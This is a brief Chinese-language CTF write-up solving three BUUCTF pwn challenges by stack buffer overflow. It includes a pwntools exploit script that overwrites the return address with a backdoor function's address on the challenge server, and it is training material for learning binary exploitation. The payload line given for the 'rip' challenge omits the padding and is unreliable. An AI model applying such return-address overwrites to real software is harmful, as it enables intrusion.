buuctf刷题(一)pwn
test_your_nc
idapro反编译一下,发现直接就system("/bin/sh");
这个直接用nc连一下,然后cat flag
rip
老规矩,checksec一下,
file 一下,64位,
扔进ida里面
发现shell,应该是个栈溢出
查看栈空间,
shell地址
构造payload=b’A’+p64(0x401186)
exp
warmup_csaw_2016 1
运行一下
老规矩
checksec 一下
啥保护都没开
丢ida里面
sprintf后面的函数点击进去
发现cat flag
(sprintf的介绍:https://blog.csdn.net/nopoppy/article/details/52589745)
缓冲区为40h,我们将其覆盖到后门函数的地址为0x40060d
可以写出payload = b’A’ +p64(0x40060d)
exp为
from pwn import *
p = remote('node4.buuoj.cn',26279)
payload = b'a'*(0x40+8) + p64(0x40060D)
p.sendline(payload)
p.interactive()